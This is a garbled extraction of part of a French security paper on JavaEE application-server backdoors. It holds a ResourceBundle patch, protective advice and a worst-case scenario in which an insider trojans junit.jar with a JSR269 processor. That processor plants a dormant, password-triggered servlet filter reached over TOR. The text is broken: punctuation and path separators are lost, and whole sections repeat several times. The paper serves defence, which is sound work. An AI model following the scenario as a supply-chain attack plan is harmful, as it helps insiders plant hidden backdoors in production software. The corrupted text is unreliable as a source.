format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

